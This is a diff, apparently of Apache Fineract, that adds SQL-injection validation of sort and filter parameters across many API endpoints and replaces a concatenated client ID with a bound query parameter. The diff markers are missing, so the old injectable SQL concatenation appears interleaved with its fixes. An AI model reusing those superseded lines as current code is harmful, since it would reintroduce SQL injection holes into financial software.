@Consumes({ MediaType.APPLICATION_JSON })
@@ -184,7 +186,10 @@ public class ReportMailingJobApiResource {
.validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
final SearchParameters searchParameters = SearchParameters.fromReportMailingJob(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Page<ReportMailingJobData> reportMailingJobData = this.reportMailingJobReadPlatformService
.retrieveAllReportMailingJobs(searchParameters);
@@ -43,6 +43,7 @@ import org.apache.fineract.infrastructure.reportmailingjob.ReportMailingJobConst
import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobRunHistoryData;
import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobRunHistoryReadPlatformService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RUN_HISTORY_RESOURCE_NAME)
@@ -55,6 +56,7 @@ public class ReportMailingJobRunHistoryApiResource {
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final DefaultToApiJsonSerializer<ReportMailingJobRunHistoryData> reportMailingToApiJsonSerializer;
private final ReportMailingJobRunHistoryReadPlatformService reportMailingJobRunHistoryReadPlatformService;
private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -71,7 +73,10 @@ public class ReportMailingJobRunHistoryApiResource {
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.platformSecurityContext.authenticatedUser()
.validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME);
final SearchParameters searchParameters = SearchParameters.fromReportMailingJobRunHistory(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Page<ReportMailingJobRunHistoryData> reportMailingJobRunHistoryData = this.reportMailingJobRunHistoryReadPlatformService
.retrieveRunHistoryByJobId(reportMailingJobId, searchParameters);
@@ -71,10 +71,10 @@ public class ReportMailingJobReadPlatformServiceImpl implements ReportMailingJob
sqlStringBuilder.append(mapper.reportMailingJobSchema());
sqlStringBuilder.append(" where rmj.is_deleted = false");
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlStringBuilder.append(" ").append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder());
}
@@ -82,9 +82,9 @@ public class ReportMailingJobReadPlatformServiceImpl implements ReportMailingJob
sqlStringBuilder.append(" order by rmj.name ");
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlStringBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -68,18 +68,18 @@ public class ReportMailingJobRunHistoryReadPlatformServiceImpl implements Report
queryParameters.add(reportMailingJobId);
}
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlStringBuilder.append(" ").append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlStringBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -47,6 +47,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.sms.data.SmsData;
import org.apache.fineract.infrastructure.sms.service.SmsReadPlatformService;
import org.springframework.stereotype.Component;
@@ -66,6 +67,7 @@ public class SmsApiResource {
private final DefaultToApiJsonSerializer<SmsData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final SqlValidator sqlValidator;
@GET
public String retrieveAll(@Context final UriInfo uriInfo) {
@@ -99,7 +101,10 @@ public class SmsApiResource {
@QueryParam("limit") final Integer limit, @QueryParam("orderBy") final String orderBy,
@QueryParam("sortOrder") final String sortOrder) {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forSMSCampaign(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat);
@@ -225,10 +225,10 @@ public class SmsReadPlatformServiceImpl implements SmsReadPlatformService {
arrayPos = arrayPos + 1;
}
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
@@ -236,9 +236,9 @@ public class SmsReadPlatformServiceImpl implements SmsReadPlatformService {
sqlBuilder.append(" order by smo.submittedon_date, smo.id");
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -20,6 +20,8 @@ package org.apache.fineract.infrastructure.survey.service;
import java.util.ArrayList;
import java.util.List;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.fineract.infrastructure.dataqueries.api.DataTableApiConstant;
import org.apache.fineract.infrastructure.dataqueries.data.DatatableData;
import org.apache.fineract.infrastructure.dataqueries.data.GenericResultsetData;
@@ -27,33 +29,25 @@ import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeader
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.survey.data.ClientScoresOverview;
import org.apache.fineract.infrastructure.survey.data.LikelihoodStatus;
import org.apache.fineract.infrastructure.survey.data.SurveyDataTableData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.support.rowset.SqlRowSet;
import org.springframework.stereotype.Service;
@Slf4j
@RequiredArgsConstructor
@Service
public class ReadSurveyServiceImpl implements ReadSurveyService {
private final PlatformSecurityContext context;
private final JdbcTemplate jdbcTemplate;
private final SqlValidator sqlValidator;
private final GenericDataService genericDataService;
private final ReadWriteNonCoreDataService readWriteNonCoreDataService;
@Autowired
public ReadSurveyServiceImpl(final PlatformSecurityContext context, final JdbcTemplate jdbcTemplate,
final GenericDataService genericDataService, final ReadWriteNonCoreDataService readWriteNonCoreDataService) {
this.context = context;
this.jdbcTemplate = jdbcTemplate;
this.genericDataService = genericDataService;
this.readWriteNonCoreDataService = readWriteNonCoreDataService;
}
@Override
public List<SurveyDataTableData> retrieveAllSurveys() {
@@ -91,7 +85,7 @@ public class ReadSurveyServiceImpl implements ReadSurveyService {
@Override
public SurveyDataTableData retrieveSurvey(String surveyName) {
SQLInjectionValidator.validateSQLInput(surveyName);
sqlValidator.validate(surveyName);
final String sql = "select cf.enabled, application_table_name, registered_table_name, entity_subtype" + " from x_registered_table "
+ " left join c_configuration cf on x_registered_table.registered_table_name = cf.name " + " where exists" + " (select 'f'"
+ " from m_appuser_role ur " + " join m_role r on r.id = ur.role_id"
@@ -153,13 +147,13 @@ public class ReadSurveyServiceImpl implements ReadSurveyService {
+ " tz" + " JOIN ppi_likelihoods_ppi lkp on lkp.ppi_name = '" + surveyNames.getString("name") + "' AND enabled = '"
+ LikelihoodStatus.ENABLED + "' JOIN ppi_scores sc on score_from <= tz.score AND score_to >=tz.score"
+ " JOIN ppi_poverty_line pvl on pvl.likelihood_ppi_id = lkp.id AND pvl.score_id = sc.id"
+ " JOIN ppi_likelihoods lkh on lkh.id = lkp.likelihood_id " + " WHERE client_id = " + clientId);
+ " JOIN ppi_likelihoods lkh on lkh.id = lkp.likelihood_id " + " WHERE client_id = ?");
}
List<ClientScoresOverview> scoresOverviews = new ArrayList<>();
for (String sql : sqls) {
final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(sql);
final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(sql, clientId);
while (rs.next()) {
scoresOverviews.add(new ClientScoresOverview().setLikelihoodCode(rs.getString("code"))
@@ -41,6 +41,7 @@ import org.apache.fineract.infrastructure.core.serialization.ToApiJsonSerializer
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.notification.data.NotificationData;
import org.apache.fineract.notification.service.NotificationReadPlatformService;
import org.springframework.stereotype.Component;
@@ -55,6 +56,7 @@ public class NotificationApiResource {
private final NotificationReadPlatformService notificationReadPlatformService;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final ToApiJsonSerializer<NotificationData> toApiJsonSerializer;
private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -71,7 +73,10 @@ public class NotificationApiResource {
this.context.authenticatedUser();
final Page<NotificationData> notificationData;
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
if (!isRead) {
notificationData = this.notificationReadPlatformService.getAllUnreadNotifications(searchParameters);
} else {
@@ -135,18 +135,18 @@ public class NotificationReadPlatformServiceImpl implements NotificationReadPlat
final StringBuilder sqlBuilder = new StringBuilder(200);
sqlBuilder.append(sql);
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -62,6 +62,7 @@ import org.apache.fineract.infrastructure.core.serialization.GoogleGsonSerialize
import org.apache.fineract.infrastructure.core.service.ExternalIdFactory;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.organisation.office.data.OfficeData;
import org.apache.fineract.organisation.office.service.OfficeReadPlatformService;
import org.glassfish.jersey.media.multipart.FormDataContentDisposition;
@@ -90,6 +91,7 @@ public class OfficesApiResource {
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final SqlValidator sqlValidator;
private final Gson gson = GoogleGsonSerializerHelper.createSimpleGson();
@@ -105,7 +107,10 @@ public class OfficesApiResource {
@QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy,
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forOffices(orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().orphansOnly(false).isSelfUser(false).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Collection<OfficeData> offices = readPlatformService.retrieveAllOffices(onlyManualEntries, searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, offices, RESPONSE_DATA_PARAMETERS);
@@ -159,12 +159,12 @@ public class OfficeReadPlatformServiceImpl implements OfficeReadPlatformService
sqlBuilder.append(rm.officeSchema());
sqlBuilder.append(" where o.hierarchy like ? ");
if (searchParameters != null) {
if (searchParameters.isOrderByRequested()) {
sqlBuilder.append("order by ").append(searchParameters.getOrderBy());
if (searchParameters.hasOrderBy()) {
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
sqlBuilder.append("order by ").append(searchParameters.getOrderBy());
if (searchParameters.hasSortOrder()) {
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
}
} else {
sqlBuilder.append("order by o.hierarchy");
@@ -485,9 +485,9 @@ public class TellerManagementReadPlatformServiceImpl implements TellerManagement
+ " and renum.enum_value in ('PAY_CHARGE', 'WAIVE_CHARGE') "
+ " and (cli_txn.payment_detail_id IS NULL OR payType.is_cash_payment = true) ) " + " order by created_date ";
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sql += " ";
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sql += sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset());
} else {
sql += sqlGenerator.limit(searchParameters.getLimit());
@@ -47,6 +47,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.AccountTransferData;
import org.apache.fineract.portfolio.account.service.AccountTransfersReadPlatformService;
import org.springframework.stereotype.Component;
@@ -62,6 +63,7 @@ public class AccountTransfersApiResource {
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final AccountTransfersReadPlatformService accountTransfersReadPlatformService;
private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -125,7 +127,11 @@ public class AccountTransfersApiResource {
this.context.authenticatedUser().validateHasReadPermission(AccountTransfersApiConstants.ACCOUNT_TRANSFER_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final Page<AccountTransferData> transfers = this.accountTransfersReadPlatformService.retrieveAll(searchParameters, accountDetailId);
@@ -54,6 +54,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.AccountTransferData;
import org.apache.fineract.portfolio.account.data.StandingInstructionDTO;
import org.apache.fineract.portfolio.account.data.StandingInstructionData;
@@ -74,6 +75,7 @@ public class StandingInstructionApiResource {
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final StandingInstructionReadPlatformService standingInstructionReadPlatformService;
private final AccountTransfersReadPlatformService accountTransfersReadPlatformService;
private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -182,7 +184,11 @@ public class StandingInstructionApiResource {
this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final LocalDate startDateRange = null;
final LocalDate endDateRange = null;
@@ -212,8 +218,11 @@ public class StandingInstructionApiResource {
this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
StandingInstructionData standingInstructionData = this.standingInstructionReadPlatformService.retrieveOne(standingInstructionId);
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final Set<String> associationParameters = ApiParameterHelper.extractAssociationsForResponseIfProvided(uriInfo.getQueryParameters());
Page<AccountTransferData> transfers = null;
if (!associationParameters.isEmpty()) {
@@ -44,6 +44,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.StandingInstructionDTO;
import org.apache.fineract.portfolio.account.data.StandingInstructionHistoryData;
import org.apache.fineract.portfolio.account.service.StandingInstructionHistoryReadPlatformService;
@@ -59,6 +60,7 @@ public class StandingInstructionHistoryApiResource {
private final DefaultToApiJsonSerializer<StandingInstructionHistoryData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final StandingInstructionHistoryReadPlatformService standingInstructionHistoryReadPlatformService;
private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -88,7 +90,11 @@ public class StandingInstructionHistoryApiResource {
final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat);
final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
LocalDate startDateRange = null;
LocalDate endDateRange = null;
if (fromDateParam != null) {
@@ -218,18 +218,18 @@ public class AccountTransfersReadPlatformServiceImpl implements AccountTransfers
finalObjectArray = new Object[] { accountDetailId };
}
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" limit ").append(searchParameters.getLimit());
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(" offset ").append(searchParameters.getOffset());
}
}
@@ -287,18 +287,18 @@ public class AccountTransfersReadPlatformServiceImpl implements AccountTransfers
sqlBuilder.append(" where atsi.id = ?");
if (searchParameters != null) {
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -136,18 +136,18 @@ public class StandingInstructionHistoryReadPlatformServiceImpl implements Standi
}
final SearchParameters searchParameters = standingInstructionDTO.searchParameters();
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -305,18 +305,18 @@ public class StandingInstructionReadPlatformServiceImpl implements StandingInstr
}
final SearchParameters searchParameters = standingInstructionDTO.searchParameters();
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -102,7 +102,7 @@ public class ClientChargesApiResource {
ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_ACTIVE,
ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_INACTIVE });
}
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
final Page<ClientChargeData> clientCharges = this.clientChargeReadPlatformService.retrieveClientCharges(clientId, chargeStatus,
pendingPayment, searchParameters);
@@ -311,7 +311,7 @@ public class ClientTransactionsApiResource {
private String getAllClientTransactions(Long clientId, UriInfo uriInfo, Integer offset, Integer limit) {
SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
final Page<ClientTransactionData> clientTransactions = clientTransactionReadPlatformService.retrieveAllTransactions(clientId,
searchParameters);
@@ -62,6 +62,7 @@ import org.apache.fineract.infrastructure.core.service.ExternalIdFactory;
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
import org.apache.fineract.portfolio.client.data.ClientData;
@@ -93,6 +94,7 @@ public class ClientsApiResource {
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final GuarantorReadPlatformService guarantorReadPlatformService;
private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -443,8 +445,13 @@ public class ClientsApiResource {
final String firstname, final String lastname, final String status, final String hierarchy, final Integer offset,
final Integer limit, final String orderBy, final String sortOrder, final Boolean orphansOnly, final boolean isSelfUser) {
context.authenticatedUser().validateHasReadPermission(ClientApiConstants.CLIENT_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forClients(officeId, externalId, displayName, firstname, lastname,
status, hierarchy, offset, limit, orderBy, sortOrder, orphansOnly, isSelfUser);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
sqlValidator.validate(externalId);
sqlValidator.validate(hierarchy);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).externalId(externalId)
.name(displayName).hierarchy(hierarchy).firstname(firstname).lastname(lastname).status(status).orphansOnly(orphansOnly)
.isSelfUser(isSelfUser).offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
final Page<ClientData> clientData = clientReadPlatformService.retrieveAll(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, clientData, ClientApiConstants.CLIENT_RESPONSE_DATA_PARAMETERS);
@@ -151,9 +151,9 @@ public class ClientChargeReadPlatformServiceImpl implements ClientChargeReadPlat
// apply limit and offsets
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -192,7 +192,7 @@ public class ClientReadPlatformServiceImpl implements ClientReadPlatformService
sqlBuilder.append(" where (o.hierarchy like ? or transferToOffice.hierarchy like ?) ");
if (searchParameters != null) {
if (searchParameters.isSelfUser()) {
if (searchParameters.getIsSelfUser()) {
sqlBuilder.append(
" and c.id in (select umap.client_id from m_selfservice_user_client_mapping as umap where umap.appuser_id = ? ) ");
paramList.add(appUserID);
@@ -204,18 +204,18 @@ public class ClientReadPlatformServiceImpl implements ClientReadPlatformService
sqlBuilder.append(" and (").append(extraCriteria).append(")");
}
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -267,12 +267,12 @@ public class ClientReadPlatformServiceImpl implements ClientReadPlatformService
extraCriteria += " and c.lastname like ? ";
}
if (searchParameters.isScopedByOfficeHierarchy()) {
if (searchParameters.hasHierarchy()) {
paramList.add(searchParameters.getHierarchy() + "%");
extraCriteria += " and o.hierarchy like ? ";
}
if (searchParameters.isOrphansOnly()) {
if (searchParameters.getOrphansOnly()) {
extraCriteria += " and c.id NOT IN (select client_id from m_group_client) ";
}
@@ -143,9 +143,9 @@ public class ClientTransactionReadPlatformServiceImpl implements ClientTransacti
// apply limit and offsets
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
